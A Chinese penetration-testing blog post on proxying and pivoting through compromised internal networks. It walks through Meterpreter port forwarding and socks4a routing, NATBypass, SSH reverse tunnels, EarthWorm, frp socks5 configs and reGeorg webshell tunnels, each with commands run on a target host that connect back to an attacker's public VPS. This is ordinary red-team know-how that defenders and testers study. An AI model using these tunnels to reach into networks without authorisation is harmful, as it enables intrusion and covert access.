浅谈内网渗透代理

文首发于先知社区:https://xz.aliyun.com/t/8001。这篇文章列举几种内网代理方法。

Meterpreter

Meterpreter 可以说是渗透中用得较多的工具,在反弹了处于内网的目标 shell 之后,介绍两种代理方式。

portfwd

portfwd 用于转发单个端口,当你目的性很强的情况下,比如只需要目标的 3389 端口等,这不失为一种较好的方法。

详细使用语法见:https://www.offensive-security.com/metasploit-unleashed/portfwd/

大致如下:

meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138
# 添加转发 -l:服务器监听端口  -p:内网主机需转发端口  -r:目标内网主机 ip
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
# 删除转发
meterpreter > portfwd list
# 列出当前正在侦听和转发的端口列表
meterpreter > portfwd flush
# 移除所有转发端口

socks 代理

socks 代理只是 tcp 一层往上,如 icmparp 等就无法被代理。

msf 中内置了三个 socks 代理模块,分别是 socks4asocks5socks_unc 。一般常使用 socks4asocks5 进行代理。其二者只是由于所支持的具体应用不同而存在差异。 socks4 只支持 TCP 协议而 socks5 支持 TCP/UDP 协议,还支持各种身份验证机制等协议,也就是说这里使用 socks5 的话还需要设置用户名与密码。

Intranet-proxy-1

在获取 shell 的机器上添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush
# 删除

Intranet-proxy-2

可以先通过 arp 扫描内网大概存活机器情况

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24

Intranet-proxy-3

然后建立 socks4 代理,

meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run

Intranet-proxy-4

设置完成后配置 proxychains ,成功

Intranet-proxy-5

socks5 模块也同理,只是会多设置一个用户名与密码。

参考:

https://blog.csdn.net/qq_36119192/article/details/105872076

https://klionsec.github.io/2016/09/25/msf-socks4a/

NATBypass

NATBypass是一个端口转发工具,类似于 lcx ,称为 golanglcx ,可编译为 linuxwindows 版本。

具体原理大概就是公网 vps 监听两个本地端口,内网目标主机建立一个端口转发,比如将本地 3389 转发到公网 vps 的一个端口, vps 监听的另一个端口就相当于内网主机 3389

公网 vps

nb -listen 1997 2017

内网主机

nb -slave 127.0.0.1:3389 x.x.x.x:1997
# x.x.x.x 是公网 vps 的 IP

本机直接访问公网 vps2017 端口即可实现远程内网主机。

ssh 隧道

ssh 可以端口转发或是建立 socks5 隧道。

公网主机建立 SOCKS 隧道

如果是具有公网地址的主机利用 ssh 建立 socks5 隧道就简单了:

ssh -N -f -D 9070 x.x.x.x

Intranet-proxy-6

随后编辑本机 /etc/proxychains.conf 文件:

Intranet-proxy-7

代理成功:

Intranet-proxy-8

浏览器设置代理:

Intranet-proxy-9

Intranet-proxy-10

通过公网主机穿透两个内网

设想一下,你和目标主机分属不同的内网,从外界都无法直接连通。不过好在这两个内网都可以访问公网(JumpHost),你考虑通过一台公网机器建立两个内网之间的隧道。

在目标主机中执行:

ssh -qTfNn -R 2222:localhost:22 JumpHost

Intranet-proxy-11

现在登录公网主机执行:

ssh -p 2222 localhost

Intranet-proxy-12

达到的效果只是将目标主机的端口转发到了公网,但是并未实现 socks 代理,思考后,尝试了后都不成功,不知可行否,若有师傅告知非常感激!

参考:https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html

Earthworm

Intranet-proxy-13

简称 EW官方项目已停止更新,可在fork 地址下载。

详细使用语法见:http://rootkiter.com/EarthWorm/

EW 功能很强大,提供“正向”、“反向”、“多级级联”等方式打通隧道,更适用不同的操作系统, LinuxWindowsMacOSArm-Linux 。下面介绍一种简单的反向代理方法。

公网 vps 执行

./ew_for_linux64 -s rcsocks -l 7010 -e 7011

目标内网主机执行

.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011
# windows
./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011
# linux

本地攻击机即可通过 proxychains 或者浏览器设置 socks5 代理至公网 vps7011 端口即可。

注:无意间浏览该工具作者的博客发现了该工具的新版本,http://rootkiter.com/Termite/ 还没来得及测试使用,先分享一下。

frp

Intranet-proxy-14

frp 作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。

项目地址:https://github.com/fatedier/frp

可用于端口映射或打通 socks 隧道,下面介绍 socks 隧道代理

公网 vps 主机 frps.ini 文件

[common]
bind_port = 7000
token = password

启动 frps

./frps -c ./frps.ini

目标内网主机 frpc.ini 文件

[common]
server_addr = x.x.x.x
server_port = 7000
token = password

[socks5]
type = tcp
remote_port = 7004
plugin = socks5

启动 frpc

./frpc -c ./frpc.ini

本地攻击机修改 /etc/prxoychains.conf 配置文件即可

socks5 x.x.x.x 7004

基于 web 服务的 socks5 隧道

基于 web 服务的 socks 隧道使用方便,可用于突破网络限制。常用的工具有:reGeorgreDuhTunna等。

使用方法都大致一样,上传对应网站语言的脚本文件到目标内网服务器,本地利用脚本连接建立 socks5 隧道即可。

比如 reGeorg

根据目标服务器解析语言,选择脚本上传到服务器端,访问显示 Georg says, 'All seems fine' ,表示脚本运行正常。

Intranet-proxy-15

本地攻击主机运行

python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php

Intranet-proxy-16

监听 7001 端口,出现 Georg says, 'All seems fine' 字样表明运行正常。可结合 prxoychains 进行代理。

修复显示错误
加载评论